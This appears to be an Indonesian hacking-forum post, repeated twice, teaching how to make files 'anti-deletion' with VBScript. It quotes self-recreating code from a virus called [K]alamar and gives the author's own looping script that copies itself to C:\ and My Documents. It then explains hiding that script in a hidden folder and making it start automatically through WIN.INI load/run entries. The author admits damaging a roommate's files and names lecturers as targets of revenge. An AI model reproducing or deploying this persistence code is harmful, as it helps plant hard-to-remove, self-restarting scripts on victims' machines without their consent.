irigster
New member
Date: Saturday, October 29, 2005 Hits: 15332 By: rename rename
Lagi-lagi aku terinspirasi dari tulisannya SevenC tapi ketika dia menjelaskan tentang ?anti deletion Virus?nya [K]alamar.tapi yang sekarang aku lakukan bukan hanya untuk script vbs tapi ternyata semua file bisa dibuat anti deletion.aku tidak tau apakah ini penemuan baru,tapi yang jelas aku menemukannya sendiri dengan logika yang sangat sederhana.Mungkin trik ini tercipta karena keterbatasanku(kompieku pentium1,jadi gak bisa dipasangi macam-macam termasuk teidak bisa dipasangi Visual basic),tapi gak papa toh nyatanya aku bisa kreatif.Hoi Zal ngomong terus kapan penjelasannya !oke...sory kebanyakan ngelantur.nih dia sourcenya.tapi sebelumnya lihat dulu sourcenya [K]alamar ini:
dim fso, axl,rose,idiot Set Rose = CreateObject("WScript.Shell")
set fso = createobject("scripting.filesystemobject")
set Axl = fso.opentextfile(wscript.scriptfullname,1)
idiot = Axl.readall
Axl.close
do
if fso.fileexists(wscript.scriptfullname) = false then
set Axl = fso.createtextfile(wscript.scriptfullname)
Axl.write idiot
Axl.close
end if
loop
simpan script diatas dengan nama Rizal.vbs lalu jalankan!sekarang coba kamu hapus Rizal.vbs hehehe pasti ga bisakan,soalnya nih Virus bakal baca dirinya sendiri lalu mengecek apakah ada Virus ini,jika ga ada(dalam hal ini waktu kamu hapus)maka akan diciptakan lagi.sekarang lihat juga script yang aku ciptakan
Dim fso,File
SR = ".\RS.vbs"
do
set fso = createobject("scripting.filesystemobject")
set File=fso.GetFile(SR)
File.Copy "C:\my documents\antis.vbs"
File.Copy "c:\antis.vbs"
loop
tulis script diatas dan simpan dengan nama RS.vbs lalu jalankan,dia akan mengcopykan diri sendiri di my documents dan di drive C dengan nama antis.vbs,nah sekarang coba delete antis.vbs yang ada di drive C ato di My documents,memang awalnya bisa dihapus tapi dia akan menciptakan lagi.woi kok gak sesuai judulnya,katanya semua file dapat jadi ANTIDELETION,memang bisa caranya.ubah parameter SR dengan file yang anda suka misal nih
SR=".\AKU.txt" trus juga nama file di drive nya juga dapat sesuka kamu kok contoh
File.Copy "C:\KAMU.txt" maka dijamin KAMU.txt ketika selesai tercopy gak akan bisa terhapus.kelemahannya RS.vbs(script pengantarnya) ga boleh terhapus dan harus tereksekusi,untuk mengatasi ini kamu dapat menyembunyikan RS.vbs di folder yang Hidden dan agar tereksekusi otomatis kamu bisa gunakan manipulasi WIN.INI agar me-RUN RS.vbs otomatis saat windows starting.
[windows]
load=c:\hidden_folder\RS.vbs run=c:\hidden_folder\RS.vbs
oke sekian tulisan dari saya semoga bermanfaat bagi yang suka scripting.Makasih dah baca tulisanku yah....bye sampe ketemu ditulisanku selanjutnya.
Thank?s to:
1.My Family(Mom,Dad)specially for my Honey Syarah&her family(peacefull)
2.Sto and Jasakom(All Crew)?lam kenal aje deh(inspirasi dari SIH dan STH)
3.SevenC(dimana lu sekarang)
4.Temen satu kosKUsadewa53(oka,andre thank?s and sory atas file lu yang gw rusakin)
5.Temen2 yang lain(simbah,pandamon,paimin,angga,agus,dimas,gundul,kampret,kentung)
6.Sebagian dosenku yang stupid(inspirasi balas dendamku)
7.Cah2 TEGAL<kota nyaman>
8.Cah2 T.ELEKTRO(KU)-->bowo,anton,isnan dan yang laen.
9.All Jasakomers(thank?s dah baca artikel ini)
Source: JASAKOM Information Center
Lagi-lagi aku terinspirasi dari tulisannya SevenC tapi ketika dia menjelaskan tentang ?anti deletion Virus?nya [K]alamar.tapi yang sekarang aku lakukan bukan hanya untuk script vbs tapi ternyata semua file bisa dibuat anti deletion.aku tidak tau apakah ini penemuan baru,tapi yang jelas aku menemukannya sendiri dengan logika yang sangat sederhana.Mungkin trik ini tercipta karena keterbatasanku(kompieku pentium1,jadi gak bisa dipasangi macam-macam termasuk teidak bisa dipasangi Visual basic),tapi gak papa toh nyatanya aku bisa kreatif.Hoi Zal ngomong terus kapan penjelasannya !oke...sory kebanyakan ngelantur.nih dia sourcenya.tapi sebelumnya lihat dulu sourcenya [K]alamar ini:
dim fso, axl,rose,idiot Set Rose = CreateObject("WScript.Shell")
set fso = createobject("scripting.filesystemobject")
set Axl = fso.opentextfile(wscript.scriptfullname,1)
idiot = Axl.readall
Axl.close
do
if fso.fileexists(wscript.scriptfullname) = false then
set Axl = fso.createtextfile(wscript.scriptfullname)
Axl.write idiot
Axl.close
end if
loop
simpan script diatas dengan nama Rizal.vbs lalu jalankan!sekarang coba kamu hapus Rizal.vbs hehehe pasti ga bisakan,soalnya nih Virus bakal baca dirinya sendiri lalu mengecek apakah ada Virus ini,jika ga ada(dalam hal ini waktu kamu hapus)maka akan diciptakan lagi.sekarang lihat juga script yang aku ciptakan
Dim fso,File
SR = ".\RS.vbs"
do
set fso = createobject("scripting.filesystemobject")
set File=fso.GetFile(SR)
File.Copy "C:\my documents\antis.vbs"
File.Copy "c:\antis.vbs"
loop
tulis script diatas dan simpan dengan nama RS.vbs lalu jalankan,dia akan mengcopykan diri sendiri di my documents dan di drive C dengan nama antis.vbs,nah sekarang coba delete antis.vbs yang ada di drive C ato di My documents,memang awalnya bisa dihapus tapi dia akan menciptakan lagi.woi kok gak sesuai judulnya,katanya semua file dapat jadi ANTIDELETION,memang bisa caranya.ubah parameter SR dengan file yang anda suka misal nih
SR=".\AKU.txt" trus juga nama file di drive nya juga dapat sesuka kamu kok contoh
File.Copy "C:\KAMU.txt" maka dijamin KAMU.txt ketika selesai tercopy gak akan bisa terhapus.kelemahannya RS.vbs(script pengantarnya) ga boleh terhapus dan harus tereksekusi,untuk mengatasi ini kamu dapat menyembunyikan RS.vbs di folder yang Hidden dan agar tereksekusi otomatis kamu bisa gunakan manipulasi WIN.INI agar me-RUN RS.vbs otomatis saat windows starting.
[windows]
load=c:\hidden_folder\RS.vbs run=c:\hidden_folder\RS.vbs
oke sekian tulisan dari saya semoga bermanfaat bagi yang suka scripting.Makasih dah baca tulisanku yah....bye sampe ketemu ditulisanku selanjutnya.
Thank?s to:
1.My Family(Mom,Dad)specially for my Honey Syarah&her family(peacefull)
2.Sto and Jasakom(All Crew)?lam kenal aje deh(inspirasi dari SIH dan STH)
3.SevenC(dimana lu sekarang)
4.Temen satu kosKUsadewa53(oka,andre thank?s and sory atas file lu yang gw rusakin)
5.Temen2 yang lain(simbah,pandamon,paimin,angga,agus,dimas,gundul,kampret,kentung)
6.Sebagian dosenku yang stupid(inspirasi balas dendamku)
7.Cah2 TEGAL<kota nyaman>
8.Cah2 T.ELEKTRO(KU)-->bowo,anton,isnan dan yang laen.
9.All Jasakomers(thank?s dah baca artikel ini)
Source: JASAKOM Information Center